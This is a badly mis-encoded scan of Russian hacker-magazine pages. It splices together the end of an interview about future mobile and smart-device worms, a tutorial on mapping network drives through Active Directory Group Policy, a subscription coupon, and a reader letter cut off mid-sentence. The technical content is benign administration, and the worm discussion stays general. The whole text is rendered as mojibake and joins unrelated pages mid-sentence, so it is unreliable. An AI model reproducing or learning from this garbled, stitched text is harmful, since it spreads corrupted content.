ãàäàòü íåòðóäíî, òåì áîëåå åñëè ìû ó÷òåì äàëüíåéøåå ðàçâèòèå ñìàðòôîíîâ è ðàñòóùóþ äîëþ ýòèõ òå-
ëåôîíîâ íà ðûíêå.

Bluetooth è MMS-÷åðâè — ãëàâíàÿ óãðîçà áóäóùåãî è ïî÷âà äëÿ ãëîáàëüíûõ ýïèäåìèé. Âî ñêîëüêî
ðàç ÷èñëî âëàäåëüöåâ òåëåôîíîâ ïðåâîñõîäèò ÷èñëî ïîëüçîâàòåëåé êîìïüþòåðîâ, òû, íàâåðíîå, òîæå
õîðîøî ïðåäñòàâëÿåøü ñåáå. 

À åùå åñòü ðèñê ïîÿâëåíèÿ Wi-Fi-÷åðâåé. Ïîäðîáíî ðàñêðûâàòü «ïîòåíöèàëüíûé» ïðèíöèï èõ
äåéñòâèÿ ÿ íå õî÷ó, ÷òîáû íå ñòèìóëèðîâàòü óìû âèðóñîïèñàòåëåé, íî... Â îáùåì, âñå òîëüêî íà÷èíàåòñÿ.

ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ: Âîéíà ìàøèí è ëþäåé, êîíå÷íî — ôàíòàñòèêà. Îäíàêî «óìíûå» óñòðîéñòâà áó-
äóò äîñòàâëÿòü ïðîáëåìû, íî íå ñàìè ïî ñåáå, à â ðåçóëüòàòå äåéñòâèé ëþäåé-çëîóìûøëåííèêîâ. Ïðîá-
ëåìû ìîãóò áûòü ñàìûå ðàçíûå. Íà÷èíàÿ òåì, ÷òî òâîÿ êîôåâàðêà ïîëó÷èò «íåïðàâèëüíóþ» SMS'êó è
óíè÷òîæèò âåñü çàïàñ çåðåí, çàêàí÷èâàÿ ñëó÷àåì, êîãäà áîðòîâîé êîìïüþòåð àâòîìîáèëÿ â õîäå DoS-
àòàêè íà íåãî ðåøèò, ÷òî èäåò ïîïûòêà óãîíà, çàáëîêèðóåò äâåðè è îòïðàâèò ñîîáùåíèå â ïîëèöåéñêèé
ó÷àñòîê. È íåâàæíî, ÷òî òû â ýòîò ìîìåíò, íàïðèìåð, íàõîäèøüñÿ â ñàëîíå è åäåøü ïî òðàññå...

ÑÏÅÖ: ÂÈÇÓÀËÜÍÛÅ ÑÐÅÄÑÒÂÀ 
ÐÀÇÐÀÁÎÒÊÈ ÑÒÀÍÎÂßÒÑß ÄÎÑÒÓÏÍÅÅ, 
ÓÆÅ ÍÅ ÒÐÅÁÓÅÒÑß ÏÈÑÀÒÜ ÌÍÎÃÎÅ 
Ñ ÍÓËß. ÄÎØËÎ ÄÎ ÒÎÃÎ, ×ÒÎ 
ÑÓÙÅÑÒÂÓÞÒ «ÏÎËÓÔÀÁÐÈÊÀÒÛ» 
ÂÈÐÓÑÎÂ È ÒÐÎßÍÎÂ, ÊÎÒÎÐÛÌÈ ÌÎÆÅÒ 
ÂÎÑÏÎËÜÇÎÂÀÒÜÑß ËÞÁÎÉ ÍÀ×ÈÍÀÞÙÈÉ 
ÏÐÎÃÐÀÌÌÈÑÒ. ÍÅ ÎÏÀÑÍÀ ËÈ ÏÎÄÎÁÍÀß
ÒÅÍÄÅÍÖÈß?

ÑÏÅÖ: ÌÎÆÅÒÅ ËÈ ÄÀÒÜ ÝÊÑÏÅÐÒÍÓÞ 
ÎÖÅÍÊÓ ÒÎÃÎ, ×ÒÎ ÁÓÄÅÒ Ñ ÂÈÐÓÑÀÌÈ 
×ÅÐÅÇ ÏßÒÜ-ÄÅÑßÒÜ ÈËÈ 20 ËÅÒ? 
ÂÎÇÌÎÆÍÛ ËÈ ÏÐÎÐÛÂÛ Â ÓÌÀÕ 
ÂÈÐÓÑÎÏÈÑÀÒÅËÅÉ È ÃËÎÁÀËÜÍÛÅ 
ÝÏÈÄÅÌÈÈ? ÈËÈ ÍÅ ÁÓÄÅÒ ÏÐÈÄÓÌÀÍÎ 
ÍÈ×ÅÃÎ ÍÎÂÎÃÎ?

ÑÏÅÖ: ÏÎßÂËßÅÒÑß ÌÍÎÃÎ «ÓÌÍÛÕ» 
ÓÑÒÐÎÉÑÒÂ, ÏÎÑËÅÄÑÒÂÈß ÑÁÎß ÊÎÒÎÐÛÕ 
ÌÎÃÓÒ ÁÛÒÜ ÍÅÎÁÐÀÒÈÌÛÌÈ. ÂÎÇÌÎÆÅÍ 
ËÈ Â ÐÅÀËÜÍÎÑÒÈ ÑÞÆÅÒ, ÍÀÏÐÈÌÅÐ, 
ÒÎÃÎ ÆÅ ÔÈËÜÌÀ «ÒÅÐÌÈÍÀÒÎÐ»? 
ÕÎÒß ÁÛ ÒÅÎÐÅÒÈ×ÅÑÊÈ...



Ïðåæäå ÷åì âûõîäèòü íà òðîïó âîéíû ñ íåáëàãîíà-
äåæíûìè ïîëüçîâàòåëÿìè, íàñòðîèì ðàáî÷èå
GPO. Äëÿ íà÷àëà ïîäêëþ÷èì ê êàæäîé ðàáî÷åé ãðóïïå äèñê. Ðàçãðàíè÷åíèå
äîñòóïà íà äèñê ìû äåëàëè ðàíüøå — òåïåðü àâòîìàòèçèðóåì ïðîöåññ. Ñîç-
äàåì OU äëÿ íàøèõ ãðóïï: «Íà÷àëüñòâî», «Áóõãàëòåðû», «Ýêîíîìèêà». Èìÿ
OU è ãðóïïû íå äîëæíû ïîëíîñòüþ ñîâïàäàòü.

Îñíàñòêà Active Directory Users and Computers, ïðàâàÿ êíîïêà ìûøè íà
èìåíè äîìåíà New Organizational Unit.

Îòêðûâàåì Group Policy Management. Ëèáî ÷åðåç êîíñîëü, êîòîðóþ òû,
íàäåþñü, ñîõðàíèë, ëèáî ïðàâîé êíîïêîé ìûøè íà èìåíè äîìåíà (îñíàñòêà
Active Directory Users and Computers), èäåì â Properties çàêëàäêà Group
Policy Open. Òåïåðü ïðèãîòîâèì ñêðèïòû äëÿ àâòîìàòè÷åñêîãî ïîäêëþ÷åíèÿ
ñåòåâûõ äèñêîâ.

Ñîçäàäèì íà äèñêå Ñ: ïàïî÷êó è íàçîâåì åå «Scripts». Îïðåäåëèìñÿ ñ ñåòå-
âûìè ðåñóðñàìè. Ñêîðåå âñåãî, ó òåáÿ åñòü ñåòåâûå ðåñóðñû, íóæíûå àáñîëþòíî
âñåì òâîèì ïîëüçîâàòåëÿì. Èìååò ñìûñë ïîäêëþ÷èòü èõ íà óðîâíå äîìåíà.

Âîò, ê ïðèìåðó, îáìåííûé äèñê, â êîòîðîì êàæäûé ìîæåò òâîðèòü ÷òî
óãîäíî. Íàçîâåì äèñê «Î:».

Ïåðåä íà÷àëîì ðàáîòû íåìíîãî îòâëåêóñü è ïðåäëîæó òåáå äëÿ êàæäîé
ãëîáàëüíîé çàäà÷è ñîçäàâàòü îòäåëüíûé îáúåêò ãðóïïîâîé ïîëèòèêè. Ñíà÷à-
ëà ñîçäàäèì ñêðèïò. Îòêðîåì áëîêíîò (îí æå Notepad, îí æå ëþáîé òåêñòî-
âûé ðåäàêòîð) è íàáåðåì ñëåäóþùóþ êîìàíäó: net use O: \\xak\Îáìåí. Åñëè
òû íàçûâàåøü ðàñøàðåííûå ðåñóðñû ðóññêèìè ñèìâîëàìè, óáåäèñü, ÷òî èìÿ
â ñêðèïòå ÷èòàåìîå, íàïðèìåð, îáðàòèâøèñü ê Far’ó. Ïîñëå ñîçäàíèÿ ñêðèïòà
Notepad’îì âïîëíå ìîæíî ïîëó÷èòü unicode’îâñêèå êðàêîçÿáðû.

Ïðàâèì ôàéë â Far’å. ß ïðèâåë ïðèìåð äëÿ òîãî, ÷òîáû òû íå íàñòóïàë
íà ãðàáëè. Åñëè íàçîâåøü øàðó íåïðàâèëüíî, îíà, åñòåñòâåííî, íå áóäåò ðà-
áîòàòü. Ñîõðàíÿåì ôàéë â íàøó ïàïî÷êó Scripts è ìåíÿåì åãî ðàñøèðåíèå ñ
*.txt íà *.bat. Ñêðèïò ãîòîâ. Òåïåðü ïðîñòî íàæèìàåì «Ââîä» è ñìîòðèì, êàê
îòðàáîòàë íàø ñêðèïò. Âñå íîðìàëüíî, íà ñàìîì êîíòðîëëåðå äîìåíà ïîä-
êëþ÷èëñÿ ñåòåâîé äèñê.

Òåïåðü ïîäêëþ÷èì ñêðèïò äëÿ âñåõ ïîëüçîâà-
òåëåé äîìåíà. Ìàëåíüêîå îòñòóïëåíèå. Êîãäà
êîìïüþòåð, íà êîòîðîì åñòü ñåòåâûå ïîäêëþ÷å-
íèÿ, çàãðóæàåòñÿ, îí ëåçåò íà óêàçàííûé êîíòðîë-

ÏÐÎØËÛÉ ÂÛÏÓÑÊ ÇÀÏÈÑÎÊ ÇÀÊÎÍ×ÈËÑß ÍÀ ÏÐÈÇÛÂÅ ÁÛÒÜ ÑÍÈÑÕÎÄÈÒÅËÜÍÛÌ Ê ÏÎËÜÇÎÂÀÒÅËÞ, ÎÄÍÀÊÎ 
ß ÑÎÂÑÅÌ ÍÅ ÏÐÈÇÛÂÀË ÏÎÒÂÎÐÑÒÂÎÂÀÒÜ ÂÑÅÌ ÅÃÎ ÏÐÈÕÎÒßÌ. ÏÐÎÑÒÎ ÎÁÚßÑÍßÉ, ÊÀÊ ÂÅÑÒÈ ÑÅÁß Â
ÖÈÔÐÎÂÎÌ ÌÈÐÅ ÏÐÀÂÈËÜÍÎ, ×ÒÎÁÛ ÂÑÅÌ ÆÈËÎÑÜ ËÅÃÊÎ È ÑÏÎÊÎÉÍÎ. ÍÅ ÁÎÉÑß Ó×ÈÒÜ ÏÎËÜÇÎÂÀÒÅËß,
×ÀÑÒÎ ÎÍ ÒÂÎÐÈÒ ÁÀÐÄÀÊ ÍÅ ÑÎ ÇËÀ, À ÏÎ ÍÅÇÍÀÍÈÞ. ÁÓÄÜ ÌÓÄÐ È ÑÏÐÀÂÅÄËÈÂ. ÑÀÌÛÉ ÏÐÎÑÒÎÉ ÑÏÎÑÎÁ
ÈÇÁÅÆÀÒÜ ÍÅÏÐÈßÒÍÎÑÒÅÉ — Â ÊÎÐÍÅ ÏÐÅÑÅ×Ü ÂÑÅ ÈÕ ÂÎÇÌÎÆÍÛÅ ÏÐÈ×ÈÍÛ. ÏÐÎÄÎËÆÈÌ ÇÀÍÈÌÀÒÜÑß
ÏÐÈ×ÈÍÀÌÈ |ÀËÅÊÑÀÍÄÐ ÏÐÈÕÎÄÜÊÎ (SANPRIH@MAIL.RU)

ADMINING:
ÍÀÑÒÐÎÉÊÀ ÄÎÌÅÍÍÎÉ
ÏÎËÈÒÈÊÈ ÁÅÇÎÏÀÑÍÎÑÒÈ
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ëåð äîìåíà è ñ÷èòûâàåò äâå ïîëèòèêè. Ïåðâàÿ ïîëèòèêà íàêðó÷èâàåòñÿ íà
ñàì êîìïüþòåð (Computer Configuration), âòîðàÿ — íà ïîëüçîâàòåëÿ (User
Configuration). Ñêðèïòû ìîæíî ïðîïèñûâàòü â îáåèõ ïîëèòèêàõ.

Äåëàåì ñëåäóþùåå. Òå çàäà÷è, êîòîðûå íåîáõîäèìî íàêðóòèòü íà âñåõ
ïîëüçîâàòåëåé äîìåíà, ïðîïèñûâàåì â Default Domain Policy. ß, íàïðèìåð, âè-
æó íåìíîãî òàêèõ çàäà÷: ïîëèòèêà ïàðîëåé, ïîëèòèêà íåóäà÷íûõ âõîäîâ, íàñò-
ðîéêà ïðîêñè-ñåðâåðà, ïîäêëþ÷åíèå îáùåé øàðû è ïîëèòèêà àóäèòà. ß ïðî-
ïèñûâàþ åùå ñòàðòîâóþ ñòðàíèöó â Internet Explorer, ÷òîáû íåîïûòíûé ïîëü-
çîâàòåëü ïðè çàïóñêå IE ìîã ïî÷èòàòü õîòü ÷òî-òî.

Åùå îäèí ñîâåò — ñòàðàòüñÿ íå äåëàòü íè÷åãî
ãëîáàëüíîãî íà Default Domain Policy, èíà÷å
ïðè íåïðàâèëüíîé íàñòðîéêå ïîëèòèêè ïîèìå-

åøü ðàáîòîñïîñîáíûé äîìåí, â êîòîðûé íå ñìîæåò ïîïàñòü äàæå àäìèí,
òî åñòü òû. Äîñòàòî÷íî çàïðåòèòü âñåì ëîêàëüíûé âõîä íà êîíòðîëëåð
äîìåíà — è òû ïîïàë. Âïðî÷åì, ýòî óæå òîíêîñòè. «Ïðîäîëæàåì ðàçãî-
âîð», êàê ãîâàðèâàëà ïåðâàÿ ñèñòåìà îõëàæäåíèÿ — Êàðëñîí. Ïîäêëþ-
÷àåì íàø ñåòåâîé äèñê íà âñå êîìïüþòåðû äîìåíà. Îòêðûâàåì Group
Policy Management Computer Configuration Windows Setting Scripts
(Startup/Shutdown).

Äàëåå äâîéíîé ùåë÷îê ìûøüþ íà startup’å, îòêðûâàåòñÿ îêíî Startup
Properties. Ïàðàëëåëüíî îòêðûâàåøü ïàïêó Scripts íà äèñêå Ñ:, âûäåëÿåøü
ñâîé ôàéë «Îáìåí.bat», äàëåå ìàãè÷åñêèé ïàññ <Ctrl>+<C> (äëÿ òåõ, êòî íå
ïîíÿë: ýòî áûëî êîïèðîâàíèå).

Ïåðåõîäèøü â îêíî Startup Properties, íàæèìàåøü
êíîïêó Show Files è ïîïàäàåøü âãëóáü ïàïêè ãðóïïî-
âîé ïîëèòèêè. Çäåñü íàæèìàåøü <Ctrl>+<V>, òî åñòü
âñòàâëÿåøü ñêîïèðîâàííûé ðàíåå ôàéë. Íàæèìà-

åøü êíîïêó Add â îêíå Startup Properties — ïåðåä òîáîé îòêðûâàåòñÿ îêíî Add
a Script Browse. Îòêðûëàñü ïàïêà, òàì óæå ëåæèò ñêðèïò. Âûáèðàé åãî.

Äàëåå íåîáõîäèìî îáíîâèòü ïîëèòèêó áåçîïàñíîñòè. Ñäåëàåì ýòî êî-
ìàíäîé: «Gpupdate /force». Òåïåðü ïîñìîòðèì, êàê íàøà ïîëèòèêà îòðàáîòà-
ëà íà ìàøèíå êàêîãî-íèáóäü ïîëüçîâàòåëÿ, íàïðèìåð Áàëàãàíîâà.

Óæå õîðîøî! Òåïåðü ó÷èìñÿ ñìîòðåòü, ÷òî èìåííî íàêðóòèëîñü íà
êîìïüþòåð ïîëüçîâàòåëÿ (íà ñëó÷àé ïðîáëåì ñ ïðèìåíåíèåì ïîëèòèêè): íà
êîìïüþòåðå, ïîëèòèêó äëÿ êîòîðîãî òû ÷èòàåøü, íåîáõîäèìî âûïîëíèòü êî-
ìàíäó «gpresult».

Âîò, ê ïðèìåðó, êîìïüþòåð Áàëàãàíîâà. Êíîïêà «Ïóñê» «Âûïîëíèòü»
«cmd», íàáèðàåì «gpresult». Â äëèííîì îòêðûâøåìñÿ ñïèñêå áóäåò äâà òèïà
èíôîðìàöèè: «Êîíôèãóðàöèÿ êîìïüþòåðà» è «Êîíôèãóðàöèÿ ïîëüçîâàòå-
ëÿ». Ïîêà è òàì è òàì ïðèìåíåíà òîëüêî Default Domain Policy. Òåïåðü çàé-
ìåìñÿ ïîëèòèêàìè íàøèõ, ðàíåå ñîçäàííûõ OU. Áàëàãàíîâ âõîäèò â ãðóïïó
«Áóõãàëòåðèÿ». Âîçüìåì ïîëüçîâàòåëÿ Áàëàãàíîâ è ïåðåòàùèì åãî â OU
«Áóõãàëòåðû» (ïðîöåññ ïåðåíîñà ïîëüçîâàòåëÿ â OU âûïîëíÿåòñÿ â Active
Directory Users and Computers). Ñîçäàäèì ñêðèïòû äëÿ íàøèõ ðàáî÷èõ ãðóïï.
Äèñê Ñ:, êàòàëîã Scripts, ïðàâûé ìûøèíûé ùåë÷îê íà ôàéëå «Îáìåí.bat»
Copy, íà ïóñòîì ìåñòå êàòàëîãà Scripts ïðàâîé êíîïêîé ìûøè Paste. Ïîëó-
÷èëè ôàéë ñ èìåíåì «Copy of Îáìåí.bat». Ïåðåèìåíîâûâàåì åãî â ôàéë
«Áóõãàëòåðèÿ.bat».

Îòêðûâàåì Far’îì è çàìåíÿåì ñëîâî «îáìåí» ñëîâîì «áóõãàëòåðèÿ».
Ñîõðàíÿåì. Êñòàòè, åùå ìåíÿåì áóêâó äèñêà, íàïðèìåð âìåñòî Î: — Í:.
Íåñêîëüêî äèñêîâ ïîä îäíîé áóêâîé íå ïîäêëþ÷àòñÿ. Òåïåðü íåîáõîäèìî
ñîçäàòü ïîëèòèêó äëÿ ïîäêëþ÷åíèÿ äèñêà äëÿ ãðóïïû «Áóõãàëòåðèÿ». Îòêðû-
âàåì íàøó êîíñîëü, ïðàâîé êíîïêîé íà Group Policy Object New. È ïèøåì:
«Áóõãàëòåðèÿ».

Íà÷èíàåì ïðàâèòü âíîâü ñîçäàííûé îáúåêò: ïðàâàÿ êíîïêà ìûøè íà
îáúåêòå GPO «Áóõãàëòåðèÿ» Edit. Òàê êàê íàì íåîáõîäèìî, ÷òîáû äàííàÿ
ïîëèòèêà ïðèìåíÿëàñü ê ïîëüçîâàòåëþ Áàëàãàíîâ è ÷ëåíàì åãî ãðóïïû, ìû
ïðàâèì ñêðèïò â User Configuration.

Îòêðûâàåì User Configuration Windows Setting Scripts (Startup/Shu-
tdown). Êàê ïîäêëþ÷èòü ôàéë ñêðèïòà ê îáúåêòó ïîëèòèêè, ðàññêàçàíî íà
ýòàæå âûøå. Ñêðèïò ïîäêëþ÷èëè, GPO Editor çàêðûëè. Òåïåðü íàñòîèì îá-
ëàñòü ðàñïðîñòðàíåíèÿ äàííîé ïîëèòèêè. Â êîíñîëè âèäíî, íà êîãî ñåé÷àñ
ðàñïðîñòðàíÿåòñÿ äàííàÿ GPO.

Íåïðàâèëüíàÿ
êîäèðîâêà â êîìàíäå

Ðàáîòà ñêðèïòà

Ïîäêëþ÷åíèå
ñêðèïòà

Âûáðàííûé ñêðèïò

Ñîçäàíèå 
îáúåêòà GPO



Òåïåðü èçìåíèì åå. Âûáèðàåì Authenticated Users
êíîïêà Remove, äîáàâëÿåì íîâóþ îáëàñòü ðàñïðî-
ñòðàíåíèÿ: êíîïêà Add, â îòêðûâøåìñÿ îêíå âðó÷-
íóþ íàáèðàåì ñëîâî «Áóõãàëòåðèÿ» è íàæèìàåì
ÎÊ. Îñòàëàñü ñàìàÿ ìàëîñòü — îòêëþ÷èòü íåíóæ-
íóþ âåòâü ïîëèòèêè, êîòîðàÿ îòíîñèòñÿ ê íàñòðîé-
êàì êîìïüþòåðà. Ïåðåõîäèì íà çàêëàäêó Details è
â ïîëå GPO Status âûáèðàåì çíà÷åíèå «Computer
configuration settings disabled». Òåïåðü çàêëàäêà
Settings ïîêàæåò ðåçóëüòàòû òâîåãî òðóäà.

Ïîñëåäíåå øàìàíñêîå äåéñòâî — ýòî ïðè-
âÿçêà âíîâü ñîçäàííîé ïîëèòèêè ê ñóùåñòâóþùå-
ìó OU. Âíîâü â òîé æå êîíñîëè ïðàâàÿ êíîïêà ìû-
øè íà OU «Áóõãàëòåðû», â ìåíþ âûáèðàåì ïóíêò
Link an Existing GPO… Â îòêðûâøåìñÿ ñïèñêå äîñ-
òóïíûõ ïîëèòèê âûáèðàåì íàøó — «Áóõãàëòåðèÿ».
Òåïåðü çàñòàâèì êîíòðîëëåð äîìåíà ôîðñèðîâàííî
îáíîâèòü ïîëèòèêè: Gpupdate /force. Ïåðåçàãðóæàåì
ìàøèíó Áàëàãàíîâà è ñìîòðèì, ÷òî ïîëó÷èëîñü.

Ïîëó÷èëîñü òî, ÷òî è ïëàíèðîâàëè. Òåïåðü òû
ïðîäåëûâàåøü àíàëîãè÷íûå îïåðàöèè ñî âñåìè
ñâîèìè ãðóïïàìè. Äëÿ êàæäîé ãðóïïû ïèøåøü ñâîé
ñêðèïò, ñîçäàåøü ñâîé OU, ñîçäàåøü ñâîé GPO,
ïðèâÿçûâàåøü GPO ê OU, îáíîâëÿåøü ïîëèòèêó â
äîìåíå è ïîëó÷àåøü àâòîìàòè÷åñêîå ïîäêëþ÷åíèå
ñåòåâûõ ðåñóðñîâ ëþáîìó ïîëüçîâàòåëþ â äîìåíå.
Åñëè çàõî÷åøü íå ïî-äåòñêè íàïóãàòü ñâîå íà÷àëü-
ñòâî, òî íà î÷åðåäíîé âîïðîñ «×åì âû çàíÿòû?»
áûñòðî ïðîèçíîñè ïðåäûäóùåå ïðåäëîæåíèå.

Åùå îäíî çàìå÷àíèå. Âñå ïîëüçîâàòåëè, âõî-
äÿùèå â êàêîé-ëèáî OU, äîëæíû èìåòü ïðàâî íà ÷òå-

íèå è ïðèìåíåíèå ïîëèòèêè. Ãëàâíîå — ÷òîáû òû ïî îøèáêå íå âíåñ ó÷åòíóþ çà-
ïèñü Àäìèíèñòðàòîðà â ëþáîå OU, ãäå áû íà Àäìèíà ìîãëà áû ïðèìåíèòüñÿ ïî-
ëèòèêà. Ðåêîìåíäóþ ïðèäóìàòü ó÷åòíóþ çàïèñü, ñäåëàòü åå Enterprise Admins è
ïðîêîíòðîëèðîâàòü òî, ÷òîáû íà ýòó ó÷åòíóþ çàïèñü íå ðàñïðîñòðàíÿëîñü
äåéñòâèå èçîáðåòåííûõ òîáîé ïîëèòèê. ×òî èìåííî ïðèìåíÿåòñÿ ê îïðåäåëåí-
íîé ó÷åòíîé çàïèñè, ïðîñìàòðèâàåì ÷åðåç Group Policy Management çàêëàä-
êà Delegation êíîïêà Advanced. Òóò âûáèðàåøü íóæíóþ çàïèñü è ñìîòðèøü,
÷òî èìååòñÿ â íàëè÷èè. Êàê âèäèøü, ó÷åòíàÿ çàïèñü Enterprise Admins ìîæåò ñîç-
äàâàòü è óäàëÿòü îáúåêòû, íî ïîëèòèêà íà íåå íå ïðèìåíÿåòñÿ, òàê êàê ñáðîøåí

ôëàã â ïîëå Apply Group Policy. Òàêèì îáðàçîì, ìîæ-
íî ñîçäàâàòü ïîëèòèêó ïîä êàæäóþ êîíêðåòíóþ çà-
äà÷ó è íàêðó÷èâàòü åå âïëîòü äî îòäåëüíîãî ïîëüçî-
âàòåëÿ, íî îá ýòîì ÷óòü ïîçæå.

Âñå òî, ÷òî ÿ òàê äîëãî ðàññêàçûâàë òåáå,
íàìíîãî áûñòðåå âûïîëíÿåòñÿ âðó÷íóþ. Ãëàâíîå —
ïîíÿòü èäåþ. Ïîäâåäåì èòîã: íà óðîâíå êîíòðîëëå-
ðà äîìåíà ñ ïîìîùüþ ïîëèòèêè ìû áóäåì óñòàíàâ-
ëèâàòü ñèëüíî îãðàíè÷åííîå êîëè÷åñòâî çíà÷åíèé,
ïîëèòèêó ïàðîëåé, àóäèòà, ïîäêëþ÷åíèå îáùèõ
äëÿ âñåõ ïîëüçîâàòåëåé äîìåíà ðåñóðñîâ. Âñå îñ-
òàëüíîå, ÷òî íåîáõîäèìî äåëàòü íà óðîâíå äîìåíà,
ïðîäåëûâàåòñÿ ÷åðåç îòäåëüíûå îáúåêòû GPO. Äó-
ìàþ, ïîñëå òîãî êàê òû ïðîäåëàåøü âñå ýòî äëÿ
ñâîèõ ãðóïï, òâîè âîïðîñû î ñïîñîáàõ ñîçäàíèÿ
ïîëèòèê íàâñåãäà îòïàäóò è òû îöåíèøü èíñòðó-
ìåíòû, êîòîðûå åñòü ó òåáÿ â ðóêàõ.

Â ñëåäóþùèé ðàç äîâåäåì äî ëîãè÷åñêîãî çà-
âåðøåíèÿ íàñòðîéêó Default Domain Policy, ïîñìîò-
ðèì äåéñòâèå ïîëèòèêè àóäèòà, íàñòðîèì çà îäèí ðàç
âñåõ ïîëüçîâàòåëåé èíòåðíåòà, ðàññìîòðèì ñïîñîá

ìîäåëèðîâàíèÿ ïîëèòè-
êè. Â îáùåì, íàì áóäåò
÷åì çàíÿòüñÿ

Ãîòîâàÿ GPO
«Áóõãàëòåðèÿ»

Ïîäêëþ÷åííûå äèñêè

Îòíîøåíèå ó÷åòíîé
çàïèñè ê ïîëèòèêå

Îáëàñòü
ðàñïðîñòðàíåíèÿ
GPO
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ïðîøó îôîðìèòü ïîäïèñêó:
íà æóðíàë Õàêåð Ñïåö + CD
íà êîìïëåêò Õàêåð Ñïåö + Õàêåð + Æåëåçî

íà ìåñÿöåâ
íà÷èíàÿ ñ 200   ã.

Äîñòàâëÿòü æóðíàë ïî ïî÷òå íà äîìàøíèé àäðåñ
Äîñòàâëÿòü æóðíàë êóðüåðîì íà àäðåñ îôèñà

(ïî ã. Ìîñêâå)
Ïîäðîáíåå î êóðüåðñêîé äîñòàâêå ÷èòàéòå íèæå*
(îòìåòüòå êâàäðàò âûáðàííîãî âàðèàíòà ïîäïèñêè)

Ô.È.Î.

äàòà ðîæäåíèÿ
àäðåñ äîñòàâêè:
èíäåêñ
îáëàñòü/êðàé
ãîðîä
óëèöà
äîì êîðïóñ
êâàðòèðà/îôèñ
òåëåôîí ( )
e-mail
ñóììà îïëàòû

*Êóðüåðñêàÿ äîñòàâêà îñóùåñòâëÿåòñÿ òîëüêî ïî Ìîñêâå íà àäðåñ îôèñà.
Äëÿ îôîðìëåíèÿ äîñòàâêè êóðüåðîì óêàæèòå àäðåñ è íàçâàíèå ôèðìû â
ïîäïèñíîì êóïîíå.

ïîäïèñíîé êóïîí

ñýêîíîìü 
äåíüãè —
çàêàæè æóðíàë 
â ðåäàêöèè

ñòîèìîñòü çàêàçà
íà Õàêåð Ñïåö + CD

6 ìåñÿöåâ 12 ìåñÿöåâ
900 ðóá. 00 êîï. 1740 ðóá. 00 êîï.

ñòîèìîñòü çàêàçà
íà êîìïëåêò
Õàêåð Ñïåö +
Õàêåð + Æåëåçî

6 ìåñÿöåâ 12 ìåñÿöåâ
2550 ðóá. 00 êîï. 5040 ðóá. 00 êîï.

ÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ
1 Çàïîëíèòü êóïîí è êâèòàíöèþ
2 Ïåðå÷èñëèòü ñòîèìîñòü ïîäïèñêè 
÷åðåç ëþáîé áàíê. 
3 Îáÿçàòåëüíî ïðèñëàòü â ðåäàêöèþ êîïèþ îïëà÷åííîé êâèòàíöèè 
ñ ÷åòêî çàïîëíåííûì êóïîíîì ëþáûì èç ïåðå÷èñëåííûõ ñïîñîáîâ: 

— ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 

— ïî ôàêñó: (495) 780-88-24;

— ïî àäðåñó: 119021, Ìîñêâà, óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44-45, 
ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

Âíèìàíèå!
Ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.

— êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, 
îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.

— êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ 
â òå÷åíèå 20 äíåé.

Ðåêîìåíäóåì èñïîëüçîâàòü ýëåêòðîííóþ ïî÷òó èëè ôàêñ.
Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí
êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó 
â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.

ÏÎÄÏÈÑÊÀ ÄËß ÞÐÈÄÈ×ÅÑÊÈÕ ËÈÖ
Ìîñêâà: ÎÎÎ «ÈÍÒÅÐ-ÏÎ×ÒÀ» (495) 500-00-60 www.interpochta.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñêè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì æóðíàëà, 
ïåðèîäîì ïîäïèñêè, áàíêîâñêèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷òîâûì àäðåñîì, òåëåôîíîì
è ôàìèëèåé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.

ÂÛÃÎÄÀ
Öåíà ïîäïèñêè äî 15% íèæå, ÷åì â
ðîçíè÷íîé ïðîäàæå
Áîíóñû, ïðèçû è ïîäàðêè äëÿ
ïîäïèñ÷èêîâ
Äîñòàâêà çà ñ÷åò ðåäàêöèè

ÃÀÐÀÍÒÈß
Òû ãàðàíòèðîâàííî ïîëó÷èøü âñå
íîìåðà æóðíàëà 
Åäèíàÿ öåíà ïî âñåé Ðîññèè

ÑÅÐÂÈÑ
Çàêàç óäîáíî îïëàòèòü ÷åðåç ëþáîå
îòäåëåíèå áàíêà
äîñòàâêà îñóùåñòâëÿåòñÿ çàêàçíîé
áàíäåðîëüþ èëè êóðüåðîì

ÏÎ ÂÑÅÌ ÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ Ñ ÏÎÄÏÈÑÊÎÉ, ÇÂÎÍÈÒÅ ÏÎ
ÁÅÑÏËÀÒÍÛÌ ÒÅËÅÔÎÍÀÌ: 780-88-29 (ÄËß ÌÎÑÊÂÈ×ÅÉ) 
È 8-800-200-3-999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÑÅ ÂÎÏÐÎÑÛ ÏÎ ÏÎÄÏÈÑÊÅ ÌÎÆÍÎ ÏÐÈÑÛËÀÒÜ 
ÍÀ ÀÄÐÅÑ: info@glc.ru
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ÎÒ: flex-mx [flex-mx@yandex.ru]
ÒÅÌÀ: åñòü ìíåíèå
Ïðåâåä, õàêåðû!
Î÷åíü íðàâèòñÿ âàø æóðíàë. ß åãî â òóàëåòå îáû÷íî ÷èòàþ, äàæå ñäåëàë òàì
ñïåöèàëüíóþ ïîëî÷êó. Âàø æóðíàë íàñòðàèâàåò íà ðàáîòó :), íà íîâûå äîñòè-
